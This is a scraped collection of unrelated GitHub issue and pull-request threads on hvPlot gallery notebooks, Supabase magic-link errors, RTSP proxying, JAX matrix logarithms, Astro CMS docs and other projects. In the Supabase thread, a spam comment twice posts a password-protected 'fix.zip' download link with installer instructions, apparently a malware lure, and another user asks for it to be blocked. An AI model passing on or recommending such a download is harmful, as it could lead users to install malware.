Feature reference gallery

Added the following notebooks to the Reference Gallery Xarray section:

bar.ipynb
line.ipynb
hist.ipynb
kde.ipynb
violin.ipynb

*(Based on the corresponding notebooks in the Pandas section and the User Guide)
In the bar.ipynb notebook in the Reference Gallery Pandas section:
Addressed the FutureWarning in the DataFrameGroupBy.mean() by explicitly setting numeric_only to True
(i.e. DataFrameGroupBy.mean() is replaced with DataFrameGroupBy.mean(numeric_only=True) )

Thanks @bikegeek !
@jbednar as you've been suggesting this contribution, I was wondering, doesn't this approach lead to too much duplication? For instance, that work could also be done for GeoPandas, and pretty much all the other supported backends, right?
But indeed the reference page is currently incomplete and somewhat misleading.
Instead I was thinking, how about using tags like on https://examples.pyviz.org/ to list the backends supported by the elements? Doing so by removing the current three and incomplete categories Pandas, Geopandas and Xarray; and by completing the existing reference pages (e.g. bar, line, hist, ...) with examples showing how to generate these plots from other data structures.

doesn't this approach lead to too much duplication?

Depends what you mean by duplication. If you look at the code for the xarray and pandas versions of the same plot type, about the only thing that's shared is .bar or .line; the sample data and plots are all different. So there isn't really any code duplication that could be eliminated as far as I can see. It's true there are multiple entries for each type of plot, but that's a choice for the website rather than for these notebooks. I.e. we could (and I would think, should) have a cross product of datalibrary x plottype just as we have for backends in HoloViews (matplotlib, bokeh, etc.), with the user selecting one data library and seeing the appropriate notebook for that library. E.g. with tabs, etc., selecting the right example for your data library. But each data library's example is independent of the other examples for other data libraries, and I don't see a way to avoid that while keeping the examples simple for a user of just one library (which most users will be).

Depends what you mean by duplication. If you look at the code for the xarray and pandas versions of the same plot type, about the only thing that's shared is .bar or .line;

I think that's because right now the reference pages are really poor in content. They don't provide the method signature, which you might expect from a reference page, with at least a description of the specific parameters for that method. That info would be duplicated across data structures. They also contain very few plots, the Pandas line page contains just one plot for instance. If you compare it to the equivalent plotly page, it's diametrically different. I think these reference pages should help the users getting their work done, they should be able to quickly find some recipes in there, instead of having to go through all the user guides. So in the end I believe these pages should focus more on the variations of the same plot type you can make, rather than on reading the data, hence the potential duplication across data structures.

we could (and I would think, should) have a cross product of datalibrary x plottype just as we have for backends in HoloViews (matplotlib, bokeh, etc.),

A few comments on this:

HoloViews, like hvPlot, has a third data structure dimension, which is totally ignored in its reference gallery. hvPlot does it the other way around, acknowleding support of multiple data structures but not showing the different plotting backends.
It seems to me that the current structure of HoloViews' reference gallery, with the notebook files being duplicated across the three plotting backends, has contributed to ossify it. You indeed have to apply your change to three different notebooks. I'd like to avoid getting into a similar situation.

Totally agree with @maximlt that the reference notebooks are currently way to sparse. They should find inspiration in the plotly documentation. Plotting can be really difficult, finding the right now combination of parameters etc. is not always obvious. As a user you need the inspiration and reference examples.
Its on my long todo list to contribute something here.

the reference pages are really poor in content. They don't provide the method signature, which you might expect from a reference page, with at least a description of the specific parameters for that method. That info would be duplicated across data structures.

Sure, but that info should be auto-generated, and so again, only an issue for the website to avoid a user's experience of duplication, unrelated to a notebook like this that's about showing how to generate the specified type of plot from a particular data library's object. The actual reference material should be no more than one line in the source code for this page, saying "I want to pull in the auto-generated reference material for object X". Duplicating that one line across data libraries will not be an issue. Duplicating the other material referenced below, will be, but we will have to address that a different way unrelated to this PR.

They also contain very few plots, the Pandas line page contains just one plot for instance. If you compare it to the equivalent plotly page, it's diametrically different. I think these reference pages should help the users getting their work done, they should be able to quickly find some recipes in there, instead of having to go through all the user guides. So in the end I believe these pages should focus more on the variations of the same plot type you can make, rather than on reading the data, hence the potential duplication across data structures.

I agree it would be nice to have a full and complete guide to a given type of plot, with a lot more illustrations and examples. I'm not sure that's relevant to the review of this PR, though.

HoloViews, like hvPlot, has a third data structure dimension, which is totally ignored in its reference gallery.

Agreed. The lack of documentation for supported data structures is a serious problem, which this PR is a small step towards addressing.

It seems to me that the current structure of HoloViews' reference gallery, with the notebook files being duplicated across the three plotting backends, has contributed to ossify it. You indeed have to apply your change to three different notebooks. I'd like to avoid getting into a similar situation.

Agreed. I'd love to hear about solutions. Again, I'm not sure that's relevant to reviewing this PR. We don't even have a plan for that, let alone a commitment to work on it. Meanwhile, this PR shows an xarray user how to invoke a plot of the given type, within the current structure of the website, and should be reviewed in that context. Future work can be reviewed in future scenarios when those become real!

I agree it would be nice to have a full and complete guide to a given type of plot, with a lot more illustrations and examples. I'm not sure that's relevant to the review of this PR, though.

Do you expect that there will be a complete reference page for each data structure?

@bikegeek here's the beauty of open-source, things can take a while but they eventually happen! Thanks a lot for adding these new reference guides, I'm going to merge your PR now which is going to be included in the next release of hvPlot that is coming soon.


AuthApiError: Email link is invalid or has expired

Was there a recent change in the infra?.
We need more details in error message.
The signup & signin with magic link worked until weeks ago, it suddenly throws error for signups.
Yes i am using shouldCreateUser: true and using a pkce token.
request magic link
import { Database } from "@/types/supabase";
import { createRouteHandlerClient } from "@supabase/auth-helpers-nextjs";
import { cookies } from "next/headers";
import { NextRequest, NextResponse } from "next/server";

export async function POST(req: NextRequest) {
  const cookieStore = cookies();
  const origin = req.nextUrl.origin;
  const body = await req.formData();
  const email = body.get("email") as string;

  const supabase = createRouteHandlerClient<Database>({
    cookies: () => cookieStore,
  });

  const { data, error } = await supabase.auth.signInWithOtp({
    email: email,
    options: {
      shouldCreateUser: true,
    },
  });

  console.log("magic link", {
    data,
    error,
  });

  //
  return NextResponse.redirect(origin + "/a/check-your-inbox", {
    status: 303,
  });
}

Both no error for new user, existing user here.

confirm token
import { Database } from "@/types/supabase";
import { createRouteHandlerClient } from "@supabase/auth-helpers-nextjs";
import { cookies } from "next/headers";
import { NextRequest, NextResponse } from "next/server";

export async function GET(req: NextRequest) {
  const cookieStore = cookies();
  const origin = req.nextUrl.origin;

  const supabase = createRouteHandlerClient<Database>({
    cookies: () => cookieStore,
  });

  const type = req.nextUrl.searchParams.get("type") as string;
  const token_hash = req.nextUrl.searchParams.get("token_hash") as string;

  console.log("verify otp", {
    type,
    token_hash,
  });

  const { data, error } = await supabase.auth.verifyOtp({
    token_hash,
    type: type as any,
  });

  if (error) {
    console.error("ERR: verify otp", {
      data,
      error,
    });
    return NextResponse.redirect(origin + "/signin");
  }

  return NextResponse.redirect(origin);
}

Getting AuthApiError: Email link is invalid or has expired for new signups.
The tokens ant type is receiving well as magic link
And I can confirm it is not related to email clients previewing the link as the login works (existing users)
It's impossible to fix this problem with such no details.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file password: changeme In the installer menu, select "gcc."

Block this user please

SOLVED.
use type=signup for signup email template, not magiclink (room for mention in docs)


Unable to proxy rtsps stream from UniFi Dream Machine Pro

Hi there.
I'm trying to use rtsp-simple-server to proxy an rtsps stream from my UniFi Protect camera over to an rtsp (no encryption) stream. The reason is that I use a smarthome hub (Hubitat) where I want to create a dashboard where I can preview the cameras but that dashboard does not support rtsps streams.
I've configured rtsp-simple-server with the following paths config:
paths:
  garage:
    source: rtsps://<IP_ADDRESS>:7441/SomErANDomStrinG?enableSrtp
    sourceFingerprint: <MY_UDMP_CERT_FINGERPRINT>

But when I run rtsp-simple-server I keep getting messages stating payload size greater than maximum allowed:
2022/01/29 01:59:00 INF rtsp-simple-server v0.17.14
2022/01/29 01:59:00 INF [path garage] [rtsp source] started
2022/01/29 01:59:00 INF [RTSP] listener opened on :8554 (TCP), :8000 (UDP/RTP), :8001 (UDP/RTCP)
2022/01/29 01:59:00 INF [API] listener opened on <IP_ADDRESS>:9997
2022/01/29 01:59:00 INF [path garage] [rtsp source] ready
2022/01/29 01:59:00 INF [path garage] [rtsp source] ERR: payload size greater than maximum allowed (5213 vs 4096)
2022/01/29 01:59:05 INF [path garage] [rtsp source] ready
2022/01/29 01:59:06 INF [path garage] [rtsp source] ERR: payload size greater than maximum allowed (4126 vs 4096)
2022/01/29 01:59:11 INF [path garage] [rtsp source] ready
2022/01/29 01:59:11 INF [path garage] [rtsp source] ERR: payload size greater than maximum allowed (64245 vs 4096)
2022/01/29 01:59:16 INF [path garage] [rtsp source] ready
2022/01/29 01:59:16 INF [path garage] [rtsp source] ERR: payload size greater than maximum allowed (5385 vs 4096)
2022/01/29 01:59:21 INF [path garage] [rtsp source] ready
2022/01/29 01:59:22 INF [path garage] [rtsp source] ERR: payload size greater than maximum allowed (4460 vs 4096)
2022/01/29 01:59:27 INF [path garage] [rtsp source] ready
2022/01/29 01:59:27 INF [path garage] [rtsp source] ERR: payload size greater than maximum allowed (63733 vs 4096)
^C2022/01/29 01:59:27 INF shutting down gracefully
2022/01/29 01:59:27 INF [path garage] [rtsp source] stopped
2022/01/29 01:59:27 INF [API] listener is closing
2022/01/29 01:59:27 INF [RTSP] listener is closing
2022/01/29 01:59:27 INF waiting for external commands

As you can see I've tried to bump the buffer size from the default 2048 to 4096 but that doesn't work. The numbers I'm seeing in the logs seem to indicate that I'd need a buffer of 64Kb to maybe avoid this but given that the default is 2048 and the comment there says that I shouldn't be touching it it seems unlikely that it should be set to that size. However, for the fun of it I tried doing that and the errors on the rtsp-simple-server side do in fact stop appearing and the stream seems to be "stable" but if I try to connect to it using VLC I get a tsunami of error messages in the VLC log but only a message stating that a session is reading from the "garage" stream on the rtsp-simple-server side. For a long while nothing is displayed in VLC but after waiting I eventually did see that VLC showed a video window (it even looked like it might be the correct size) but no video was displayed (just a black screen) and the errors in VLC continued:
$ vlc rtsp://localhost:8554/garage

VLC media player 3.0.16 Vetinari (revision 3.0.16-0-g5e70837d8d)
[00007f9ee6504340] main libvlc: Running vlc with the default interface.

I'm pretty lost here and suspect that the problem might possibly be on the UniFi side, but I wanted to ask here before giving up on this.

Hello,

the comment there says that I shouldn't be touching it it seems unlikely that it should be set to that siz

The comment says

this shouldn't be touched unless the server reports errors about the buffer size.

Since the server is reporting errors about the buffer size, you should increase the parameter.
This error is caused by a bad implementation of the RTP protocol by the UniFi camera: H264 units should be splitted into RTP packets with a size not higher than 1500 bytes. The RTP protocol allows to split H264 units of arbitrary size into multiple packets. Your UniFi camera, instead, puts an entire H264 unit into a single RTP packet. This doesn't allow to route the packet with the UDP transport protocol, that requires that all packets have a size less than 1500 bytes (that is the UDP MTU).

This is probably fixed with v0.18.0, since the server now remuxes oversized RTP packets into smaller ones. Open another issue if you still have problems.

Thank you! I will give this a go again then when I get the chance.

Hello,
Problem seems to be back in v0.20.0
2022/08/19 13:43:27 INF [path 339671ba828f31458ace139c1ea73af5] [rtsp source] ERR: payload size (32793) greater than maximum allowed (1472)

We are pulling using TCP. I think if there is a size check it should only applies to UDP.

We are pulling using TCP. I think if there is a size check it should only applies to UDP.

The question isn't related to a comformity check. Supporting RTP packets with arbitrary sizes have two implication:

In order to receive such packets, the server must allocate buffers big enough to hold these packets, greatly increasing RAM consumption
These packets can't be routed to UDP clients


add glayout install test script

adds a glayout install test script that

checks python version
checks magic, netgen, ngspice installs
checks pip requirements
checks conda install with pdk_root and pdk dirs
places an nmos component and runs LVS

@msaligane

can you add some comments in the file

can you add some comments in the file

i will do this and commit in a bit


restore some proxyless gRPC test coverage

Networking Features Proxyless gRPC supports:

Fault injection
Traffic shifting/routing
Retries

@stevenctl: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-cni_istio
fb45e4456f004935f6e16b50e6980f120d39f940
link
true
/test integ-cni_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


Do not move a variable we will use later (fixes path in exception).

The config.path would otherwise be empty if we throw the exception below.

Rather than copying the config this can just call get_path() when building the exception.

We use config as if it is alive after the move, calling a method and reading its other members. It's working fine now (except for the path) but if it changes in the future (configuration is something I imagine is likely to change) then it would be hard to spot the error here again. I think a full copy is a small price to pay for the future maintenance problems this could cause.


Automator: update proxy@master in istio/istio@master

Generated by Automator - 2022-10-18T17:24:55+00:00

@istio-testing: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

integ-security-multicluster_istio
731046e5bbb7aae97d5f1a455840da994c0699a3
link
unknown
/test integ-security-multicluster

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


React frontend refactor.

Obviously we could prob use some cleanup on the HTML / CSS / JS side of things for our 2D frontend.
I think we should deff use React.
Not create-react-app.
But a custom webapack React build well suited for what we are doing inside our app.
This may make optimizations to our file size and things easier to import and work with as well.
We can do it, as well as improve our general 2d styles and responsiveness with something like Ant Design.
I would recommended Ant coming in with React as well.
I am well seasoned veteran of doing this kind of "refactor into React" thing. I can pull it off and recode the whole frontend.
Just need to book the proper time slot for me. I think this I would like a full 3 - 5 days to work on.

this would also be a very good twitch stream for me to recode this whole frontend if that matters at all to us

Yea we did this but not using Ant and instead we using Preact. Closing issue.


grpc: moving the last of the gRPC mux classes to factory based extens…

200K savings for E-M, and cleaner directory structure.
Risk Level: medium (moving lots of code around)
Testing: n/a (existing tests)
Docs Changes: n/a
Release Notes: inline

/retest

coverage flake was unrelated but I'm bumping down coverage just while I'm int here


Deprecate zen 1 Discovery Settings

This deprecates the  settings discovery.zen.publish_timeout,
discovery.zen.commit_timeout, discovery.zen.no_master_block,
discovery.zen.publish_diff.enable because they are not used for zen2 anymore.
Summary of the changes / Why this improves CrateDB
Checklist

[x] Added an entry in CHANGES.txt for user facing changes
[x] Updated documentation & sql_features table for user facing changes
[x] Touched code is covered by tests
[x] CLA is signed
[x] This does not contain breaking changes, or if it does:

It is released within a major release
It is recorded in CHANGES.txt
It was marked as deprecated in an earlier release if possible
You've thought about the consequences and other components are adapted
(E.g. AdminUI)

retest this please

retest this please

retest this please

retest this please

retest this please

retest this please


Test Coverage UX: Indicate which run the coverage results are from

Type: Feature Request

Clone vscode-extension-samples
Open test-provider-sample, build it and run it.
Select Testing on Activity Bar.
Use "Run Tests" button on Test Explorer view's title bar.
Go to right-hand part of Test Results tab on Panel, and click "View Test Coverage"
Comment out failing test on line 4 of test.md
"Run Tests" again.

Test Results tab on Panel now correctly shows 2 runs, and Test Explorer shows the new results, but it's easy to miss that Test Coverage is still showing the results of the previous run.
Perhaps add the run timestamp to the view title, or on a row below it?
Or, only show this if the coverage results aren't from the latest run.
Related to this, should Test Coverage contents track Test Explorer, updating automatically when a new run occurs?
VS Code version: Code - Insiders 1.85.0-insider (ef71b038ad2518e32514b6cc3a4df9f94c096e65, 2023-11-23T05:36:37.890Z)
OS version: Windows_NT x64 10.0.22621
Modes:

should Test Coverage contents track Test Explorer, updating automatically when a new run occurs?

Yea, after playing around with it I decided that this makes sense :)


do not work suffix feature

Reproduction
https://formkit.link/7b941a1001e8383edeaaf0ff3e21bc41
Describe the bug
The suffix is not working in formkit for email type, what can I do? (Doesn't work in the formkit playground either)
Example) I want to send the verification number in the email input, but the suffix doesn't work.
Environment
• OS: macOS Sonoma 14.1.1
• Browser: chrome 119.0.6045.123
• Version :  (in package.json)
"@formkit/i18n": "^1.3.0",
"@formkit/nuxt": "^1.2.2",
"@formkit/pro": "^0.117.5",
"@formkit/themes": "^1.2.2",
"@formkit/validation": "^1.2.2",

Suffix by default has no output, use a slot to change the section: https://formkit.link/a0f8ee992cfecdb2f9d3b143dd7da2de

Thanks! Formkit always works great for me!


ApostropheCMS integration :pray:

Description (required)
Add ApostropheCMS to the CMS guide.
Compatibility
Tested compatible with both Astro 3.x and Astro 4.x, but of course our starter projects and documentation are using 4.x.
Thank you!

Hello! Thank you for opening your first PR to Astro’s Docs! 🎉
Here’s what will happen next:

Our GitHub bots will run to check your changes.
If they spot any broken links you will see some error messages on this PR.
Don’t hesitate to ask any questions if you’re not sure what these mean!

In a few minutes, you’ll be able to see a preview of your changes on Netlify 🥳

One or more of our maintainers will take a look and may ask you to make changes.
We try to be responsive, but don’t worry if this takes a few days.

Thank you for this contribution, @boutell ! I hope we will get this guide helping people use Apostrophe with Astro before the new year!  :rocket:
It would help, though, if you first reviewed the style and structure of our other CMS guides. While there is some variation, most guides at least start with a standard set of headings to set the reader up for success, including headings and clear, direct guidance regarding Prerequisites, Adding credentials etc. You will see that our structure generally follows actions the reader will have to complete, in order, and not nouns like "the starter project".
Please do review our writing and style guide, as right now much of this doesn't match our existing documentation. You will find our style, including verb tense, how to address the reader and how to focus on clear, direct instructions documented here: https://contribute.docs.astro.build/guides/writing-style/#writing-style
This is important for several reasons including having documentation that is straightforward to translate. If you're ever in doubt, consider someone needing to translate this and ask yourself whether phrases, or even entire sentences are necessary to guide someone through installing and using your project. (e.g. "Hang on, don't go there yet! We'll get there!" kind of meta-commentary is extra content to translate, extra content to read, and is even sometimes is a sign that maybe steps should in fact be put in a different order so that the instructions follow a logical linear pattern.)
Since you are the expert in how to set up and use Apostrophe with Astro, not me, it's helpful if you could take a pass at trying to match our existing guides first before I do my editing pass (where I might lose some important information or nuance, or have questions as I'm rewriting to match our existing style and structure). I think this will be easier on both of us to have you do a pass first, where you can be sure you're giving the most important information in our more direct, structured style. Then, I can just check for some final polish!
Thank you, and I look forward to having another CMS guide for Astro users in our docs!

Got it! Thanks for getting back to me so quickly! I will take another pass.
THOMAS BOUTELL | CHIEF TECHNOLOGY OFFICER
APOSTROPHECMS | apostrophecms.com | he/him/his
On Wed, Dec 27, 2023 at 1:59 PM Sarah Rainsberger @.***>
wrote:

Thank you for this contribution, @boutell https://github.com/boutell !
I hope we will get this guide helping people use Apostrophe with Astro
before the new year! 🚀
It would help, though, if you first reviewed the style and structure of
our other CMS guides. While there is some variation, most guides at least
start with a standard set of headings to set the reader up for success,
including headings and clear, direct guidance regarding Prerequisites,
Adding credentials etc. You will see that our structure generally follows
actions the reader will have to complete, in order, and not nouns like
"the starter project".
Please do review our writing and style guide, as right now much of this
doesn't match our existing documentation. You will find our style,
including verb tense, how to address the reader and how to focus on clear,
direct instructions documented here:
https://contribute.docs.astro.build/guides/writing-style/#writing-style
This is important for several reasons including having documentation that
is straightforward to translate. If you're ever in doubt, consider someone
needing to translate this and ask yourself whether phrases, or even entire
sentences are necessary to guide someone through installing and using your
project. (e.g. "Hang on, don't go there yet! We'll get there!" kind of
meta-commentary is extra content to translate, extra content to read, and
is even sometimes is a sign that maybe steps should in fact be put in a
different order so that the instructions follow a logical linear pattern.)
Since you are the expert in how to set up and use Apostrophe with Astro,
not me, it's helpful if you could take a pass at trying to match our
existing guides first before I do my editing pass (where I might lose some
important information or nuance, or have questions as I'm rewriting to
match our existing style and structure). I think this will be easier on
both of us to have you do a pass first, where you can be sure you're giving
the most important information in our more direct, structured style. Then,
I can just check for some final polish!
Thank you, and I look forward to having another CMS guide for Astro users
in our docs!
—
Reply to this email directly, view it on GitHub
https://github.com/withastro/docs/pull/5969#issuecomment-1870554199, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAAH27NAIQE5CAW2HSC2AMDYLRV2FAVCNFSM6AAAAABBETKAJOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNZQGU2TIMJZHE
.
You are receiving this because you were mentioned.Message ID:
@.***>

Hi @boutell ! Just wondering whether you still wanted to take another pass at this, or, now that we're back after the holidays running at full speed, would you like Team Docs to do some work on this with our suggestions to help get this moving?

Hey Tim! No one says we can't do both!  :smile:
You can immediately make a tiny "stub" page, with not much content at all and include a link to the Apostrophe documentation. This gets the page in there right away, and allows people to find it, and the guide already written.
Then, later, the page can be updated in a subsequent PR more leisurely, and we can decide if it makes sense to have content here (which I'm happy to have!) and we can discuss what that could/should look like based on what exists elsewhere.
Here are some very minimal examples you could use as a model that would be very easy to merge in quickly:

https://docs.astro.build/en/guides/cms/spinal/
https://docs.astro.build/en/guides/cms/sanity/
https://docs.astro.build/en/guides/cms/prismic/

You'll see the bar can be quite low!  :smile: Let me know what you think!

Hmm, I thought I'd done the stub one (: I will take another look at that
PR! I was working on a longer one but this is a real crunch month.
On Mon, Jan 8, 2024 at 10:49 AM Sarah Rainsberger @.***>
wrote:

Hey Tim! No one says we can't do both! 😄
You can immediately make a tiny "stub" page, with not much content at all
and include a link to the Apostrophe documentation. This gets the page in
there right away, and allows people to find it, and the guide already
written.
Then, later, the page can be updated in a subsequent PR more leisurely,
and we can decide if it makes sense to have content here (which I'm happy
to have!) and we can discuss what that could/should look like based on what
exists elsewhere.
Here are some very minimal examples you could use as a model that would be
very easy to merge in quickly:

https://docs.astro.build/en/guides/cms/spinal/
https://docs.astro.build/en/guides/cms/sanity/
https://docs.astro.build/en/guides/cms/prismic/

You'll see the bar can be quite low! 😄 Let me know what you think!
—
Reply to this email directly, view it on GitHub
https://github.com/withastro/docs/pull/5969#issuecomment-1881305463, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAAH27PSRUMCWVKNX3RJWW3YNQIP3AVCNFSM6AAAAABBETKAJOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQOBRGMYDKNBWGM
.
You are receiving this because you were mentioned.Message ID:
@.***>

--
THOMAS BOUTELL | CHIEF TECHNOLOGY OFFICER
APOSTROPHECMS | apostrophecms.com | he/him/his

OK yes I see the difference. Creating a proper stub.
On Tue, Jan 16, 2024 at 12:02 PM Tom Boutell @.***> wrote:

Hmm, I thought I'd done the stub one (: I will take another look at that
PR! I was working on a longer one but this is a real crunch month.
On Mon, Jan 8, 2024 at 10:49 AM Sarah Rainsberger <
@.***> wrote:

Hey Tim! No one says we can't do both! 😄
You can immediately make a tiny "stub" page, with not much content at all
and include a link to the Apostrophe documentation. This gets the page in
there right away, and allows people to find it, and the guide already
written.
Then, later, the page can be updated in a subsequent PR more leisurely,
and we can decide if it makes sense to have content here (which I'm happy
to have!) and we can discuss what that could/should look like based on what
exists elsewhere.
Here are some very minimal examples you could use as a model that would
be very easy to merge in quickly:

https://docs.astro.build/en/guides/cms/spinal/
https://docs.astro.build/en/guides/cms/sanity/
https://docs.astro.build/en/guides/cms/prismic/

You'll see the bar can be quite low! 😄 Let me know what you think!
—
Reply to this email directly, view it on GitHub
https://github.com/withastro/docs/pull/5969#issuecomment-1881305463,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAAH27PSRUMCWVKNX3RJWW3YNQIP3AVCNFSM6AAAAABBETKAJOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQOBRGMYDKNBWGM
.
You are receiving this because you were mentioned.Message ID:
@.***>

--
THOMAS BOUTELL | CHIEF TECHNOLOGY OFFICER
APOSTROPHECMS | apostrophecms.com | he/him/his

--
THOMAS BOUTELL | CHIEF TECHNOLOGY OFFICER
APOSTROPHECMS | apostrophecms.com | he/him/his

I have updated this PR to be a properly stubby stub, please review 🙏 Thank you!

So you've approved it, but your localization team has next crack, and of course as a non-owner I don't do the merging... so I'll be standing by, making 🍿 🙏

Hahah, yup, the "merge queue" label makes it fair game for merging for whoever is next around/available to merge... which would be... me! now! pop that popcorn...

🍿🍿🍿💯 Thank you.
On Wed, Jan 17, 2024 at 9:04 AM Sarah Rainsberger @.***>
wrote:

Merged #5969 https://github.com/withastro/docs/pull/5969 into main.
—
Reply to this email directly, view it on GitHub
https://github.com/withastro/docs/pull/5969#event-11511852905, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAAH27KLD336XQVSTJPPCQ3YO7K5TAVCNFSM6AAAAABBETKAJOVHI2DSMVQWIX3LMV45UABCJFZXG5LFIV3GK3TUJZXXI2LGNFRWC5DJN5XDWMJRGUYTCOBVGI4TANI
.
You are receiving this because you were mentioned.Message ID:
@.***>

--
THOMAS BOUTELL | CHIEF TECHNOLOGY OFFICER
APOSTROPHECMS | apostrophecms.com | he/him/his


external colorizer file for netcdfs

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

43 of 44 (97.73%)  changed or added relevant lines in 1 file are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage increased (+0.02%) to 85.371%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

services/src/datasets/external/netcdfcf/mod.rs
43
44
97.73%

Files with Coverage Reduction
New Missed Lines
%

services/src/server.rs
1
63.98%

Totals

Change from base Build<PHONE_NUMBER>:
0.02%

Covered Lines:
29622

Relevant Lines:
34698

💛  - Coveralls

bors merge


Add matrix logm

This PR is implementation of matrix logarithm (jax version of scipy.linalg.logm). Makes progress on issue #2478. Uses algorithm based on Schur decomposition and inverse squaring and scaling algorithm.
Method is fully described in paper: Awad H. Al-Mohy and Nicholas J. Higham (2012) “Improved Inverse Scaling and Squaring Algorithms for the Matrix Logarithm.” SIAM Journal on Scientific Computing, 34 (4). C152-C169. ISSN 1095-7197
Unlike in scipy in jax implemented function always uses complex types because it is not possible to statically know if result is real or complex, as there is no real solution for matrices with negative eigenvalues.
Used algorithms use a lot of loops and goto's in papers' pseudocodes so code uses a lot of lax control flow operations.
As for performance compared to SciPy:

y axis is time in seconds, and x is matrix size n (of square matrix n x n). Performance excludes first function pass in jax.

@MarekPokropinski — Thanks for this contribution! I'd like to call in @jakevdp's feedback first as to how this fits within JAX's scope. While scipy.linalg is considered within JAX's scope, this implementation is complicated and (as you allude to in your comment) it isn't particularly well-aligned with JAX or XLA's computation model, so I think there might be some push back to including it in JAX directly. All that being said, this is a really great start, and it would be awesome to make it available it somewhere (either here or ... TBD?)!
Depending on Jake's feedback, here are some high level comments from my initial look:

Since this is a big change, it might be better to split this into 2 PRs: one for the Legendre roots, and one for expm.
Do you have a sense for why the JAX and scipy implementations seem to have different scalings? What is the expected scaling for this algorithm?
How does performance compare on GPU and/or TPU? Methods that require significant control flow like this tend to behave poorly on accelerators.
Numerics: what data type are you using in your benchmark? How sensitive are the results to 32 vs. 64 bit precision? Also: since this is a randomized algorithm, how sensitive are the results to changes in seed?

as for 2, I'm not sure, the only thing that comes to my mind is that scipy uses dynamic typing: it uses complex matrices only if it is needed. I used complex numbers always to make static typing easier (now that I think about it in jax it should be possible to do this check too).
3. not working on gpu nor tpu. I implemented schur based algorithm (schur decomposition is only on cpu in jax for now), the same that is in scipy. I guess for gpu/tpu different implementation could be used, but it would be slower on CPU (more multiplications).
4. I tested only for float32. As for randomization - _onenormest function, which is 1-norm estimation, the only function that is random, is sensitive to seed, as is the same function in scipy, but it does not influence overall inverse squaring and scaling algorithm. It is used there to dynamically select s and m parameters for pade approximation, and little mistakes don't affect results that much.

I did some testing and the lack of performance scaling relative to scipy seems to come from difference in sqrtm function. Scipy uses sylvester based implementation for sqrtm which is faster, but for some reason even if i force scipy to use blocksize=1 implementation in jax is slower.
In pr #9544 author showed that with blocksize set to 1 implementation is faster in jax but it is not on my computer.


gen/template.py: add error message for unhandled switch/case value

You modified the config template and template.py throws a ValueError in your face? This adds an error message that hopefully helps you understand what went wrong.

🚢

three flakes first run of tests... (2 were CCM failures, 1 was a falky test...)


cannot add new item when search filter partially matches any result

For example, if the data includes "result A" and "result B" and the current search filter is "result", the button to add a new item does not appear.
Here are my dropdown options:
{

    singleSelection: true,

    enableSearchFilter: true,

    enableFilterSelectAll: false,

    addNewItemOnFilter: true
 }

Angular 10
angular2-multiselect-dropdown v4.6.9

I am also facing same issue.


Onboarding Guide improvements; YouTube Videos DSGVO compliance

@thinh-askui can you take a look?

@thinh-askui Sorry for the extra work folks. We had a spontaneous improvement session again and I added a ton of changes again for the Getting Started
There will be more changes tomorrow. After that I will request another review.


Fix for Infinity issue while generating the test case

Fix for Infinity issue while generating the test case.
When value is empty, Math.max() is called with empty value which gives results in -Infinity.
Closes #6848

Thanks for the PR + @ihexxa to review.


Firm up padding/spacing between all top elements on issues

Title
Labels
Milestones
View files
Assignees
Reviewers

Test all variants. Spacing should be even between elements (not containers, measure label/image top+bottom). Includes dynamic size.

Bug Report Dump (Auto-generated)

Version 1.16.0<PHONE_NUMBER>)
Device: iPhone X (iOS 11.1.2)
TestFlight: true

Example

Sent with GitHawk

Here's a breakdown on all the inconsistencies


Build fails when trying to add to existing project

I am getting this error when trying to build: Error:Execution failed for task ':app:transformClassesWithJarMergingForDebug'.

com.android.build.api.transform.TransformException: java.util.zip.ZipException: duplicate entry: com/android/volley/Request$Priority.class

Can you help please? Also I needed help about hoe to start chat activity in my existing project. My app already includes Fb and Google login feature

We recently updated the documentation for adding the Chat SDK to an existing project. Could you make sure that you've completed all the steps?

You can checkout a youtube video showing the steps of adding the Chat SDK to a custom project here.
You can also see the complete wiki here with separate tutorials showing adding Chat SDK to your project and also how to configure the Firebase accounts for your new project.


HBase WALS media file updated

@deshriva : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@deshriva : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off

@deshriva: I'm sorry - only the author of this article, @hrasheed-msft, can sign off on your changes. But we do have an exception process - if you are on the Microsoft content or product team for this product area, you can ask the PR review team to review and merge it by sending mail to the techdocprs alias.

Hi @deshriva - This pull request was opened in the public repo. PMs should work in the private repo, per the Microsoft Docs contributor guide. It looks like you have worked in the private repo before; would you make this content update in the private repo? Thank you! We'll close this PR.

I followed the documentation provided by Hassan. Link to doc - https://review.docs.microsoft.com/en-us/help/contribute/edit-doc-with-vs-code-and-git-cli?branch=master
I did not have access to add a file using private repo.
Thanks,
Deepali
Get Outlook for iOShttps://aka.ms/o0ukef

From: Kristine Toliver<EMAIL_ADDRESS>Sent: Tuesday, December 1, 2020 2:43 PM
To: MicrosoftDocs/azure-docs
Cc: Deepali Shrivastava; Mention
Subject: Re: [MicrosoftDocs/azure-docs] HBase WALS media file updated (#66971)
